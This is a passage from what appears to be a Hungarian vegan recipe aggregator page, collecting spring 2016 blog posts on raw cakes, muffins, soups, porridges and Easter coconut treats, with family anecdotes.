A kókusz is olyan, mint a sminkelésnél használt alapozó: pontosan annyi kell belőle a bőrre, ami még nem látszik, de megadja a tónust, a ragyogó sugárzást és frissességet. Mindenki látott már túl sok vagy rossz minőségű az alapozót arcon. (...) Ebbe a levesbe is pontosan annyi kókusz kell, ami még nem érződik ki, hanem belesimul, és így kölcsönöz érdekes illatot és aromát minden falatnak. :)
Bátorság! Isteni lesz a leves! :)
Hozzávalók 3-4 adaghoz:
[...] Bővebben!
Ribizlis muffin (vegán)
Ismered a muffinos embert? Do you know the muffin man? - kérdezi az angol gyerekdal immár majdnem 200 éve. Régen, az 1800-as évek tájékán ugyanis muffin man-ek járták a városok utcáit, édes és sós süteményeket árulva. Abban az időben a muffin nem azt jelentette, mint napjainkban. Sokkal inkább kelt (élesztős) tésztájú sós étel volt, amit pl. kenyértésztából készítettek. Az édes, kevert süteményes változatok elterejdése már inkább amerikai történet, s a cupcake-k színes világa által vált ismerté. (Cupcake-k muffinhoz hasonló sütemények, melyek lapost tetejét máz és színes cukorkák díszítik.) Most következzen egy gyors ribizlis muffin recept, ami segíthet, hogy a fagyasztóban pihenő ribizliszemeket hogyan használd fel. Mivel gyorsan összekeverhető, a sütés sem tart sokáig, így 30 perc alatt kész is a sütemény, akár gyerekzsúrra, akár felnőtteknek, vagy csak úgy, a családnak, hétvégére. A recept: Hozzávalók: 25 dkg liszt (10 dkg teljes kiőrlésű, 15 dkg fehér liszt) - 12 dkg gyümölcscukor vagy nyírfacukor vagy xylit - 1 vanília kikapart belseje - 1-2 csipet kurkuma (elhagyható, de szép sárga színe lesz, mintha tojással készült volna) - 1 csapott teáskanál szódabikarbóna - 12.5 dkg margarin (vegán, ha lehet) vagy folyékony kókuszzsír 0.5 dl víz vagy növényi tej (lehet kevesebb is elég, sűrű tészta legyen) 1 bögre ribizli (leszemezve; ha fagyasztott, nem szükséges felolvasztani) muffinpapírok Elkészítés: Egy keverőtálba szórjuk a lisztet, a gyümölcscukrot, a kikapart vanília belsejét, a kurkumát és a szódabikarbónát. Összekavarjuk őket, s közepébe egy mélyedést teszünk, ebbe kerül az olvasztott margarin vagy kókuszzsír. Elkezdjük fakanállal összekeverni és annyi vizet vagy növényi tejet adunk hozzá, amennyit felvesz úgy, hogy sűrű, nem folyékony tésztát kapjunk. Amikor a tészta kész, hozzákeverjük a ribizlit, majd a muffinpapírokkal kibélelt muffinsütő-formába kanalazzuk a tésztát. A tetejére is szórhatunk pár szem ribizlit. Közepes tűznél kb. 20 percig sütjük, tűpróbával ellenőrizzük. Ha a tészta ráragad, még nem jó.
Kókuszos szelet eperrel (nyers)
Ezt a süteményt nem egyszerűen jó falatozni, de igen egészséges is. Bizonyítéka, hogy a nyers táplálkozás során is fogyaszthat az ember süteményt, édességet, nem csak füvet legel. :) Ha van még a fagyasztóban elfekvőben némi eper, a következő süteményt feldobhatod vele (amúgy nélküle is elkészítheted). De ha éppenséggel eperbefőttet szeretnél használni, az is megfelel. Szintén korábban elkészített recept következik, amihez eperbefőttet használtam, amit nem én tettem el. (Inkább fagyasztva teszem el.) Valamilyen társasági alkalomra vittem, s meglehetősen gyorsan elkapkodták a tálcáról az emberek. Nyers sütemény, így igazán egészséges, és mivel tömény (olajos magvak és kókusz alkotják a nagy részét), nem tud belőle sokat enni az ember. Viszont nem kell sütni, gyorsan elkészülsz vele.
A recept:
Hozzávalók:
- 15 dkg olajos mag
- 8-10 szem datolya vagy ennek megfelelő mazsola vagy aszalt szilva
- útifű maghéj (2-3 kanál, de ha túl folyékony, többet is felvehet)
- 12 dkg kókuszreszelék
- víz
- méz/banán/szirup
- kókuszzsír vagy kakaóvaj (3-4kanál)
- kakaópor vagy karobpor
- folpack
- eper (friss, fagyasztott vagy befőtt)
Elkészítés:
Az alap: az olajos magvakat jó alaposan megdaráljuk. (Lenmagot, diót használtam leginkább, de elkészíthető mandulával is.) A datolyát felaprítjuk, meleg vízbe beáztatjuk, majd ha felpuhult, a vizet leszűrjük róla és gyorsraprító gépben pépesre daráljuk. Ezt hozzákeverjük az olajos mag őrleményhez. Egy kevés vizet adunk még hozzá, majd előveszünk egy tortaformát vagy egy tepsit/tálcát és folpackkal kibéleljük. Ezután az aljába nyomkodjuk a nyers tésztát. Hűtőbe tesszük.
Kókuszos krém: A kókuszreszelékeket felöntjük annyi vízzel, hogy épp ellepje. Kicsit átforgatjuk kanállal. Mikor ázott egy rövid ideig, a turmixgépbe tesszük. Attól függően, hogy banánnal vagy mézzel édesítjük, azt is teszünk hozzá (banánt felkarikázva). Indulhat a turmixolás. (Ezt nehezebben viszi valamivel a turmixgép.) Amikor láthatóan összeturmixolódott, ehhez is adunk kb. 2-3 evőkanálnyi útifű maghéjat. Zselés, habos állagot ad neki.
A kókuszos krémet elsimítjuk a sütemény alapján. Hűtőbe tesszük.
Csokimáz : Folyékony kókuszzsírt (vagy kakaóvajat) kikeverünk karob vagy kakaóporral, mézet és/vagy biocsicsóka sűrítményt/ agavé vagy datolya szirupot/ mézet keverünk hozzá. Ezt a kókuszos réteg tetejére simítjuk. Érdemes ezt követően rögtön felszeletelni, a szeletek tetejére egy-egy szem epret tenni és utána hűtőbe tenni, hogy dermedjen egy-két órán keresztül.
Fehérborban párolt zöldségek kapribogyós majonézzel
2016. április 25. Vegán muflon
Néha bizony jólesik kiszakadni az utcai kaják fokhagymaszagú sikátorából, és áldozni a sznobéria oltárán. (És persze nem utolsó sorban úgy tenni, mintha tényleg tudnék főzni.) Így hát ezúttal egy kevésbé költséghatékony, de annál finomabb specialitással állnék elő, mindent az olvasóért alapon. Az meg rohadtul ne zavarja őket, hogy a hónap hátralévő részében olyan kajákon fogok élni, mint Rogerius püspök a tatárjárás alatt! A heti menü: Kedd - Felbontatlan meggybefőtt II. Ulászló idejéből; Szerda - Darált mák fél zacskó száraz kókuszreszelékkel; Csütörtök: Száraz csigatészta mozsárban összetörve (mert hogy ekkorra már a vizet is elzárják és kikapcsolják az áramot); Péntek - Kátránypapír-fecnik Piros Arannyal; Szombat -Kátránypapír-fecnik Piros Arany nélkül; Vasárnap - Május elseji lángosmaradék a Városligetben. Naszóvalakkor a hozzávalók: 2 db sárgarépa 5 szál spárga 1 fej édeskömény 1 db közepes cukkini 2 db póréhagyma A főzőlöttyhöz: 6 dl fehérbor (Lehetőleg ne olyan, amit nemrég téptünk ki egy Boráros téri punk kezéből!) 1,5 dl olívaolaj 2 babérlevél 1 nagy citrom leve 2 zellerszár hasábokra nyiszatolva 1/2 fej hagyma egészben só A vegán majonéz elkészítését itt pofáztam el. Na, ehhez lapátoljunk hozzá 2 ek felaprított kapribogyót. A zöldségeket - a spárga kivételével - mély beleéléssel felszeleteljük hosszában. Egy edénybe eltartott kisujjal beleöntjük a fehérbort, és addig melegítjük, míg ízlésesen gyöngyözni nem kezd. Ekkor belehelyezzük a főzőlé többi hozzávalóját, majd mikor már forr, beleoktojáljuk a sárgagépát és az édesköményt. Jó három perc múlva a cukkinit, a spárgát és a póréhagymát is a lébe fojtjuk, és további három-négy percig főzzük. Nem tovább, mert löttyedtek lesznek, mint egy Apostol-koncert a babosdöbrétei murcifesztiválon! Ezután egy csipesszel kiszabadítjuk őket, majd lelkiismeret-furdalás nélkül nyakon öntjük a majonézzel! (A főzőlötty mellesleg hűttőben tárolva később is felhasználható.) Friss kaporral dekorálhassa, aki ad az esztétikára!
Nyers földimogyorós-karamelles-csokoládés torta (vegán)
2016. április 20. Zizi kalandjai
Két hete volt I., vagyis apa születésnapja. Megbeszéltük Ádival, hogy készítünk meglepetéstortát apának. Előző nap pikk-pakk össze is dobtuk, mindent csak a robotgépben kellett darálni, aztán már mehetett is a fagyasztóba, mert nyers tortát készítettünk. Izgultam, hogy Ádi nehogy elkotyogja este apának, hogy a torta a mélyhűtőben van… ahogyan öcsém tette gyerekkorában, amikor apukám nagy születésnapi tortáját (januárban van a születésnapja) kiraktuk az erkélyre, hogy ne találja meg, ha hazaér.
Persze öcsém mivel indított, amikor apukám belépett az ajtón: “Apa, torta az erkélyen!” Szerencsénkre apukám úgy értette, hogy tolltartó az erkélyen… nem tudta mit kezdjen az információval, anyukám meg csak legyintett, hogy nem érdekes. Így a torta titokban tudott maradni az átadásig, a tolltartó az erkélyen pedig családi legenda lett. Reméltem, hogy Ádi nem fogja elkiabálni magát és I. nem fog tolltartót keresni a mélyhűtőben. Másnap I. szülinapján volt még időnk kiengedni a tortát (szeletelhető állapotra), és fotózásra is maradt egy kis idő mielőtt hazaért. Égő gyertyákkal a torta tetején és énekkel vártuk apát. Jó tömény, tényleg vékony szelet elég belőle, ahogyan a nyers csokoládétortából is. Nekem legjobban a karamelles réteg jött be, ami datolyából készült rajta a földimogyoró szemekkel, majd a kesernyés csokoládé a tetején, ami készülhet nyers kakaóból vagy karobból is. Igazi csemege desszert, amire rájártunk esténként (is)! Próbáljátok ki!
Három gyertya került rá, nem is tudom miért ennyi… // Közös gyertyafújás apával!
Nyers földimogyorós-karamelles-csokoládés torta (vegán)
Hozzávalók (18,5 cm-es csatos formához):
Alaphoz:
– 1 és 1/4 bögre (kb. 18 db) friss datolya, kimagozva (aszalt is jó, csak érdemes használat előtt egy fél órára langyos vízbe beáztatni, hogy könnyebben aprítsa a robotgép)
– 1/2 bögre natúr nyers földimogyoró (sótlan)
– 1/2 bögre mandula vagy dió
– csipet Himalaya só
Földimogyoróvajas karamelles réteghez:
– 1 és 1/2 bögre (kb. 24 db) friss datolya, kimagozva
– 1/2 bögre natúr földimogyoróvaj (sótlan, cukormentes)
– 1 evőkanál datolyaszirup
– csipet Himalaya só
– natúr nyers földimogyoró (sótlan)
Csokoládékrémhez:
– 1/2 bögre kókuszolaj
– 1/2 bögre nyers kakaópor vagy karobpor
– 2 evőkanál natúr földimogyoróvaj
– 2 evőkanál datolyaszirup
– csipet Himalaya só
Tegyük a késes aprítógépbe (robotgép) a mandulát és földimogyorót. Egy-két percig daráljuk, majd adjuk hozzá a datolyát és sót. Dolgoztassuk a gépet addig, amíg a torta alapunk összeáll tésztává. Ha nagyon száraznak érezzük, adjunk hozzá 1-2 teáskanál kókuszolajat.
A tortaformát béleljük ki folpackkal vagy kenjük ki kókuszolajjal és nyomkodjuk az aljába a datolyás mandulás keveréket, majd tegyük a mélyhűtőbe megkeményedni, amíg elkészítjük a többi réteget.
Tegyük az aprítógépbe a karamell réteg hozzávalóit, pépesítsük simára és kenjük rá az alap rétegre. Szórjuk rá a földimogyorószemeket, amelyeket enyhén nyomkodjunk bele a karamell rétegbe. Mehet újra vissza a mélyhűtőbe.
Egy kis lábasban közepes láng felett olvasszuk meg a kókuszolajat a földimogyoróvajjal és datolyasziruppal. Keverjük hozzá a kakaóport és a sót. Ezt öntsük rá a tortára és tegyük vissza a mélyhűtőbe megkeményedni. Fogyasztás előtt kell neki legalább 1.5 óra, hogy szeletelhető állapotba kerüljön szobahőmérsékleten.
*****
Láttátok már Mautner Zsófi újonnan megjelent #gasztrocsajok c. kiadványát (bookazine: book + magazine = könyvújság)? Az a megtiszteltetés ért, hogy én is bekerülhettem azon 100 nő közé (egészséges amazonok kategóriában), akik szerepelnek benne és valamilyen formában a gasztronómia területén tevékenykednek. A bookazine-t megtaláljátok az újságárusoknál (3 hónapon keresztül) és a Libri könyvesboltokban. (Ár: 1490 Ft, Bookline-on is rendelhető, ott csak 1192 Ft.)
Köszönöm a NON+-nak a csodaszép kék ruhát (a nyomtatásba kerülő fotón sajnos megváltozott kicsit a színe), amelyet biztosítottak számomra a fotózáshoz. A kép készültekor egyébként már óriási pocakom volt (Ákos nagyon gömbölyödött), de az előttünk lévő fehér vászon szinte mindent eltakart belőle!
Csalános-medvehagymás főzelék héjában sült burgonyával
2016. április 18. Éltető ételek
A népi gyógyászat kiemelkedően fontos gyógynövénye a csalán. Úgy veszem észre, hogy az elmúlt években a medvehagyma eléggé a háttérbe szorította, pedig ez is van olyan értékes, mint a macihagyma. :) Nagyanyáink a mindennapi étkezéseikbe is beiktatták a csalánt, nemcsak teát készítettek belőle, hanem salátát, leveseket, mártásokat, főzelékeket is. Úgyhogy irány az erdő, mező... gyűjtsünk friss csalánt és főzzünk belőle egészséges ételeket. Hozzávalók (1 adag) - 2 marék spenót - 1 marék csalán (friss hajtásvég 2-3 levéllel) - 1 marék medvehagyma - 1 gerezd fokhagyma - 1 evőkanál zabliszt - 1 evőkanál kókuszolaj - kb. 0,5 dl zabkrém - himalája só, bors, szerecsendió - 3 szép burgonya héjában sütve - tetejére fokhagymás olívaolaj Elkészítése: - A zöld leveleket mossuk meg és vágjuk fel.A felhevített kókuszolajra dobjuk ezeket a zöld leveleket (csalánt, spenótot és medvehagymát).Reszeljük bele a fokhagymát is.Addig kell sütni, amíg teljesen összeesnek a levelek.Ekkor szórjuk rá a zablisztet, és öntsünk rá egy kevéske vizet (kb. 0,5 dl) Néhány perces főzés után botmixerezzük krémesre.Fűszerezzük, majd öntsük hozzá a zabkrémet.A héjában sült burgonyáról szedjük le a héját, és kockázzuk fel.A végén locsoljuk meg fokhagymás olívaolajjal. (elhagyható)
Kókuszos golyó
2016. április 16. Vegán Család
Hozzávalók:
10 dkg kókuszreszelék, továbbá kevés a díszítéshez
10 dkg zabpehely
10 dkg áztatott mazsola (legjobb a kénezetlen)
2 dl víz
2 ek méz
1 tk vaníliaaroma vagy kicsi vaníliapor
[...] Bővebben!
Csokis-banános zabgolyó
2016. április 15. Éltető ételek
Igazán laktató, tápláló... és finom is. Mit is mondhatnék még róla? Készítsd el te is, ha valami finomságra vágysz. :) Hozzávalók: - 10 dkg zabpehely - 1 érett banán - 1 evőkanál cukrozatlan kakaópor - 6 dkg puha datolya - 3 dkg aszalt meggy vagy áfonya - 3 dkg kókuszreszelék - 4-5 csepp narancsolaj - 1 marék dió Elkészítése: Késes darálóval (a dió kivételével) dolgozd össze a tésztát. Ha nem szeretnéd, hogy savanykás legyen, akkor a meggyet/áfonyát vágd fel apróra, és csak a tészta összedolgozása után keverd hozzá.A diót törd össze apróra, a végén keverd hozzá (hogy darabos maradjon).Gombócozd.Én puffasztott amarántba forgattam meg.
Citromos zellerkrémleves
2016. április 15. Éltető ételek
Imádom a krémleveseket, ennél egyszerűbb ételt el sem tudok képzelni. Egyszerűen nem értem azt, hogy miért van igény tasakos levesekre, amelyek összetevői hagynak maguk után némi kivetnivalót. Kíváncsiságból utána is néztem egynek, ez a Knorr bögrés zellerkrémleves pirított zsemlekockával. Tudjátok mi van benne? Szerintem aki megveszi, nem nézi meg az összetevőket, különben nem landolna a kosarában. Szóval... íme: "Burgonyakeményítő, Pirított zsemlekocka 19% (búzaliszt, só, élesztő, pálmaolaj, antioxidáns (rozmaringkivonatok)), Pálmazsír, Só, Vöröshagymapor, Cukor, Élesztőkivonat, Zellerpor 3,1%, Tejcukor, Aromák (zellerrel, búzával és árpával), Tejfehérje, Zellerlevél, Fűszerek (zellermag, kurkuma)" Nos, ezek után inkább készítsétek el az alábbi receptet: Hozzávalók: - 1 evőkanál kókuszolaj - 1 kis vöröshagyma - 1 gerezd fokhagyma - 2 közepes burgonya - 2 ujjnyi karika zeller - kb. 10 cm-es zellerszár - 1 evőkanál zabliszt - 1 dl zabkrém (Oatly) - 4-5 levélke friss lestyán - himalája só, bors - friss citrom leve (kb. 1 kávéskanál) Elkészítése: Az elkészítése roppant egyszerű. Tisztítsunk és daraboljunk fel minden zöldséget. A kókuszolajon kezdd el dinsztelni az apróra vágott hagymát és reszeld bele a fokhagymát is.Pár perc elteltével mehet hozzá a többi zöldség is. Pirítás ... keverés... majd mehet bele a zabliszt, és öntsd fel annyi vízzel, amennyi éppen ellepi.Fűszerezd, tedd bele a friss lestyán levelet is.Főzd puhára, és botmixerezd. Öntsd hozzá a zabkrémet, egy pilanatra főzd össze. Ízesítsd a citrom levével. ---------------------------------- Felhasznált forrás: http://bevasarlas.tesco.hu/hu-HU/ProductDetail/ProductDetail/2004120027247
Curry-s édesburgonya ragu puliszkával
2016. április 8. Éltető ételek
Nagy kedvencem az édesburgonya, sütve, főve egyaránt finom. Az indiai fűszer kellően pikánssá teszi, a fokhagymás puliszka pedig jól kiegészíti. Egyébként, ha van kerted, te magad is tudsz batátát termeszteni. Nekem már szépen gyökereznek a palánták. :) Most pedig jöjjön a recept: Hozzávalók: - 1 evőkanál kókuszolaj - 1 vöröshagyma - kb. 1 cm-es gyömbér - 2-3 gerezd fokhagyma - 1 szép nagy édesburgonya - 20 dkg zöldborsó - 4-5 rózsa brokkoli, a szárával együtt - 1 doboz zabtejszín - 1 evőkanál zabliszt - himalája só, bors, curry fűszerkeverék, chili Elkészítése: A kókuszolajon megpároljuk a vöröshagymát, hozzáadjuk a reszelt gyömbért, a lereszelt fokhagymát és a fűszereket. Néhány percig kevergetjük, majd beletesszük a kockára vágott édesburgonyát, a zöldborsót és a kis kockára vágott brokkolit torzsát.Lefedve kb. 10 percig főzzük, majd hozzáadjuk a brokkolirózsát is. A végén a tejszínhez hozzákeverjük a zablisztet, majd ráöntjük a ragura.Ha szükséges, akkor a végén még ízesíthetjük. A kukorica puliszka receptjét itt találod.
A tökéletes vegán, tejmentes körözött receptje kölesből
Ha szereted a körözöttet (melynek neve a körkörös, keverő mozdulatokból ered eszerint az oldal szerint), akkor ki kell próbálnod az egészséges, köleses verzióját! Elkészítése egyszerű, és minden hozzávalója egészséges, laktózmentes, gluténmentes és persze cukormentes. Hozzávalók: 250 g köles 1 közepes fej hagyma apróra vágva só, bors, kömény, pirospaprika 1 evőkanál mustár 3-4 evőkanál rizstejszín (szója-, zab- és mandulatejszínnel is működik) 2-3 evőkanál kókuszolaj kókuszecet ízlés szerint (kihagyható, vagy citromlével helyettesíthető) A kölest kétszeres mennyiségű sós vízben puhára főzzük, összekeverjük a többi összetevővel. A tetejére szórt petrezselyemmel, metélőhagymával díszítve tálaljuk. The post A tökéletes vegán, tejmentes körözött receptje kölesből appeared first on VegaNinja.
Kukoricakása szójaszószos szezámolajas pirított padlizsánnal (vegán)
2016. április 6. Zizi kalandjai
Tegnap nagyon fáradt voltam, annyira erőtlennek éreztem magam, hogy ha I. nem segített volna a napi teendőkben, nem tudom, hogyan csináltam volna végig az egész napot a két fiúval. Pedig a körülményekhez képest egész normális mennyiséget aludtam, mégis nagyon nagyon fáradt voltam.
Szóval nehéz két gyerekkel, de egyre jobban jövök/jövünk bele a napi teendőkbe és egyre inkább alkalmazkodunk a kétgyerekes léthez. Tény, hogy az egész napunkat a gyerekek töltik ki, ez főleg hétvégén látszódik, amikor mindketten együtt látjuk el őket. Róluk, értük szól a nap, igyekszünk olyan programokat találni, amiben örömüket lelik ők is (főleg Ádi, mert Ákos még nagyon kicsi) és mi is… ilyen például a csúszdázás. A Gellért hegyi csúszdaparkban jártunk és nagyon jól szórakoztunk mindannyian.
A főzést tekintve a minimál stílus a nyerő, minél gyorsabban, minél laktatóbbat és minél egészségesebbet készíteni, ami ugye szoptatóbarát is (bár ez nagyon változó, hogy ki mit tud enni szoptatás alatt). Így készült ez a villámgyors kukorica kása ilyen instant kásából és hozzá egy kis pirított fokhagymás padlizsán szójaszósszal és pirított szezámolajjal. Igazi, életmentő hétköznapi ebéd! Nekem egyébként annyira bejön a padlizsán így elkészítve, hogy a múltkor egy teljes egész padlizsánt megettem így egymagam!
Kukoricakása szójaszószos szezámolajas pirított padlizsánnal (vegán)
Hozzávalók 3 főre:
– 2 közepes padlizsán (kb. 450-500 g), felkockázva kb. 1*1 cm-es kockákra (nem kell meghámozni!)
– 3 gerezd fokhagyma, felaprítva
– 3 evőkanál kókuszzsír vagy olívaolaj
– 2 evőkanál tamari (gluténmentes szójaszósz)
– 1 evőkanál pirított szezámolaj
– 3 bögre instant kukoricakása
– 3 bögre víz vagy zöldség alaplé
– 1-2 gerezd fokhagyma, felaprítva
– só, bors
(A recepthez használt bögre 250 ml-es.)
Magas láng felett hevítsünk fel egy serpenyőt. Tegyük bele a kókuszzsírt, majd a padlizsánkockákat és pirítsuk addig, amíg enyhén megbarnulnak. Ekkor öntsünk hozzá kb. 50 ml vizet és adjuk hozzá a felaprított fokhagymát. Vegyük közepesre a lángot és főzzük, pirítsuk, amíg a fokhagyma és a padlizsán is megfő. Ízesítsük a szójaszósszal, majd ha elzártuk a gázt, adjuk hozzá a pirított szezámolajat is. Jól keverjük el és tegyük félre tálalásig.
Egy lábasba tegyük bele a felaprított 1-2 gerezd fokhagymát, adjuk hozzá a vizet/zöldség alaplevet és forraljuk fel. Sózzuk, borsozzuk, majd lassan kezdjük el beleönteni a kukorica kását úgy, hogy közben folyamatosan kevergetjük. Zárjuk el alatta a gázt és tálaljuk azonnal, amíg folyékonyabb állapotban van (utána megdermed – persze egy kevés vízzel hígítva újra folyékonnyá tehetjük a kását).
Pirított, párolt gyümölcsök - ideális ájurvédikus reggeli vagy édes csemege
2016. április 1. Élj harmóniában
Pirított, párolt almaA párolt, pirított gyümölcsök ideálisak napindító étkezésnek vagy olyankor amikor az ember csak egy kis édességre vágyna pl. ebéd után. A leginkább ideális gyümölcsök az alma, körte, sárgabarack, őszibarack, nektarin, banán és a bogyós gyümölcsök, datolya, füge. Mivel 15 éve bio ételeket fogyasztok mindig leírom, hogy vegyszermentes (bio) alapanyagokat használj, a gyümölcsöknél kiemelten figyelj rá, hogy ne vegyszeres, szennyezett gyümölcsöt fogyassz. A párolt gyümölcsöket kedvedre tudod fűszerezni. Ideális fűszerek fahéj, gyömbér, szegfűszeg, kardamom, ánizs, szerecsendió. Tehetsz hozzá aszalt gyümölcsöket és magféléket is. Kísérletezz a pirított, párolt gyümölcsök készítésével bátran:) Ma párolt almát készítettem mandulával - ami nagyon tápláló kombináció. (A mandula áldásos hatásairól itt olvashatsz) Az alma nyersen sokaknál okoz problémát, puffadás, kellemetlen hasi tüneteket. Főzve minden testtípus számára ideális táplálék. Hozzávalók 1 tk. ghí (vegán változatban kókuszzsír) 2 bögre kockákra vágott alma (vagy bármilyen gyümölcs) 2 ek. víz 1/2 tk. fahéj 3 szegfűszeg 1 tk. reszelt gyömbér kis marék mazsola 20 szem héjától megtisztított mandula Melegítsd fel a ghít egy edényben, majd szórd bele a szegfűszeget és a gyömbért, forgasd meg egy picit. Tedd hozzá a gyümölcsöket. Süsd kb. 2 percig. Majd add hozzá a vizet, a fahéjat, a mazsolát és a mandulát és párold néhány percig. Ha úgy érzed, hogy nagyon elpárolgott a nedvesség, akkor tehetsz hozzá még egy kis vizet. Figyelj rá, hogy a gyümölcs puha legyen, de ne főzd szét. Én nem szoktam pluszba édesíteni, de ha szükségesnek érzed tálalás előtt datolyasziruppal édesítheted még.
Kókuszos zabkása (vegán)
2016. március 30. Zizi kalandjai
Húsvét után egy kis reggeli indító. Egy újabb kása, ami krémes, lágy és kókuszos. Csak azért nem hófehér a színe, mert datolyasziruppal van édesítve (mostanában ezt használjuk édesítésre) és a kásáinkat rózsaszínesre “festi”.
A kása kókuszos ízét a kókusztejpor adja. Nem, nem gyerekkorunk fura ízű fehér porát használtam, hanem egy kiváló minőségűt, amiből nagyon jó ízű zsíros kókusztej is készíthető, ha vízzel összekeverjük. A kókusztejpor előnye, hogy ha felbontjuk és marad belőle, akkor nem romlik meg olyan gyorsan, mint a tej. De utazásokra is magunkkal vihetjük és gyorsan készíthetünk belőle kókusztejet, amit felhasználhatunk a reggelinkhez (kása, turmix, kávé) vagy egy jó kis curry készítéséhez. Én a kásába most csak simán belekevertem, de kipróbáltuk már vízzel hígítva és kávéba keverve is finom volt.
Kókuszos zabkása (vegán)
Hozzávalók 3 főre:
– 12 evőkanál zabpehely
– 2 és 1/2 bögre mogyorótej (zabtej, rizstej, mandulatej, szójatej is használható)
– 2 evőkanál kókusztejpor
– 1 evőkanál mandulavaj (kesudióvaj, földimogyoróvaj is használható)
– 4 teáskanál datolyaszirup (juharszirup, szilvaszirup is használható)
– 2 teáskanál extra szűz kókuszzsír
– 1 vaníliarúd kikapart magjai
– tálaláshoz: kókuszchips, hántolt kendermag, dió, amit szeretnénk
(A recepthez használt bögre 250 ml-es.)
Tegyük egy lábasba a zabpelyhet, öntsük fel a mogyorótejjel és alacsony lángon kezdjük el főzni folyamatos kevergetés mellett. 5-6 perc után adjuk hozzá a vaníliát, a kókusztejport. 2 perc múlva keverjük hozzá a datolyaszirupot és a mandulavajat. Főzzük még kb. 5 percig, amit krémes, kása állagú lesz. Zárjuk el alatta a gázt és adjuk hozzá a kókuszzsírt. Jól keverjük el.
Tálaljuk kókuszchips-szel, kendermaggal.
Zöldségleves házi csigatésztával
2016. március 29. Éltető ételek
Amikor szüleimnél vagyunk, a gyerekeim mindig csigalevest kérnek. Anyukám húslevesbe főzi, én viszont zöldséglevesbe. Végülis a lányaimnak mindegy, csak csigatészta legyen benne, amit anyukám készít még hagyományos módon, kézzel, 10 tojásból. Úgyhogy ebbe a jó zöldséges levesbe most ez került. Igazán finom, és laktató. Ha te gluténmentes változatban szeretnéd elkészíteni, akkor főzz bele 1 marék kölest. Hozzávalók: - 2 kisebb sárgarépa - 1 petrezselyemgyökér - 1 kis fej vöröshagyma - 1 szelet zeller - fél csésze zöldborsó - 2 kisebb burgonya - lestyán, petrezselyem - himalája só, bors - 1 evőkanál kókuszolaj - levesbetét: házi csigatészta vagy köles Elkészítése: - A zöldségeket vágjuk fel kis kockára. - Egy edénybe melegítsük fel a kókuszolajat, majd dobjuk rá a sárgarépát. Úgy 5 perces kevergetés után - amikor szépen megszínezi a répa a zsírt - adjuk hozzá a többi zöldséget és a hagymát is. - Ekkor még 5 perces közös kevergetés után öntsük fel vízzel. Fűszerezzük. - Főzzük roppanósra, majd adjuk hozzá a tésztát. Kb. 5 perc és el is készült a levesünk.
Zöldséges lepény – gluténmentesen
2016. március 28. Eszemiszom – Jóga Magazin
Szeretek a konyhában kísérletezni és változatosan felhasználni alapanyagokat. A lepényeket, akárcsak a bögrés sütiket nagyon szeretem, mert gyorsan, könnyen elkészíthetőek, nem kell sokat bajlódni a mérlegeléssel. Kevesebb konyhai műveletet kell elvégezni és a mosogatás is egyszerűbb:) Ma vegyesen gluténmentes lisztekkel készítettem egy zöldpaprikás zöldséglepényt.
Hozzávalók
1 csomag sütőpor
1 bögre rizsliszt
1 bögre hajdinaliszt
1 bögre quinoaliszt
2 ek. sze zámmag
10 dkg vaj (vagy kókuszzsír)
1 tk. szódabikarbóna
1 ek oregánó (vagy bazsalikom)
só
bors
1,5 bögre víz
2 zöldpaprika
2 ek. lenmagliszt + 7 ek. víz
Vegyszermentes (bio) alapanyagokat használj!
A lenmaglisztet keverd el a 7 ek. vízzel és hagyd állni. Az előkészítéshez mosd meg a paprikát és vágd darabokra. A liszteket , sütőport, szódabikarbónát, fűszereket keverd össze egy tálba, majd morzsold el benne a vajat és végül az áztatott lenmaglisztet keverd hozzá. Önts hozzá vizet fokozatosan és keverd jól el.Gyorsan dolgozz, hogy a száraz hozzávalók ne legyenek sokat a nedves hozzávalókkal. A masszát öntsd egy sütőpapírral bélelt, vagy kivajazott, lisztezett tepsibe és helyezd a tetejére a paprika darabokat. Tedd a sütőbe és kb. 180 fokon süsd addig, amíg jól átsül és a paprikák kicsit elkezdenek megpirulni rajta – vigyázz ne égesd meg.(kb. 35 p)
Kókusznyuszi mangókrémmel (gluténmentes, laktózmentes, tojásmentes, vegán) és egyéb ötletek a húsvéti asztalra
2016. március 25. Zöld Avocado
kókusznyuszi mangókrémmel (mindenmentes, vegán) Jön a nyuszi! :-) Hangzik a gyerekszájból. A felnőttek szerint pedig itt a Húsvét. :-) Egy tudatosan táplálkozó vegetáriánusnak kihívás lehet a húsvéti menü összeállítsa, hiszen a hagyományos ünnepi ételek nem igen férnek bele egyik kategóriába sem. Vegetáriánus? Nem. Egészséges és könnyen emészthető? Nem. És ezt még csak fokozza, ha a családban, vagy a vendégségbe várt látogatók között akad gluténérzékeny, laktózérzékeny, tojásmentesen étkező, diétázó, fogyokúrázó, vagy akár vegán. Nem egyszerű kihívás, de megoldható! Vegán, és ún. "mindenmentes" ételeket is készíthetünk csodaszép színekben, lenyűgöző tálalásban és a szem után a nyelvbimbókat is sikerül elcsábítanunk az ízekkel. Szeretnétek egy-két ötletet ehhez? Akkor jó helyen jártok! Korábban, ez alkalomból már készítettem itt a Zöld Avocado vegetáriánus gasztroblogon színes húsvéti tojások helyett színes és gyümölcsös "kókusztojásokat", melyeket könnyedén elkészíthetünk a gyerekekkel közösen is. Nagyon jó kis meglepetés a húsvéti locsolóknak is az alternatív, színes "húsvéti tojás". :-) Itt található hozzá a recept. gyümölcsös kókuszgolyók / kókusztojások (mindenmentes, nyers vegán) Főételnek a friss ropogós saláták mellé répaformájú sárgarépafasírtokat ajánlanék, melyek a reggeliző asztalon is megállják a helyüket. Látványos, finom és egyszerűen elkészíthető. Itt található hozzá a recept. édesburgonyás sárgarépafasírt (mindenmentes, vegán) Ha pedig már van tojásunk, és répánk is, már csak a nyuszi hiányzik. Nem vagyok híve az állatformájú ételeknek, de ezt megláttam, és megszerettem. Ennek nem tudtam ellenállni! ;-) Természetesen az eredeti "nyuszi" kicsit élethűbb volt, mint az enyém, de azért gondoltam megosztom veletek az ötletet még így gyorsan húsvét előtt, hátha nektek szebben sikerül. Én meg majd még dolgozom a kinézetén, és jövőre megszépítem. Sokat agyaltam a végén, hogy miért is nem néz ki úgy, ahogy az én fejemben kinézett... majd telefonos segítséget kértem, és megkaptam a választ. Nem elég kerek a nyuszi feneke. Én folyamatosan az arcán kerestem a hibát, de közben tényleg! Az arca mögötti rész a lényeg! A nagy kerek fehér fenék hiányzik az arca hátteréből. :-D (Bár azért szerintem az arcforma is kicsit fura...) Majd jövőre! ;-) kókusznyuszi mangókrémmel (mindenmentes, vegán) Megosztom veletek a gluténmentes, laktózmentes, tojásmentes, vegán, trópusi kókusznyuszi 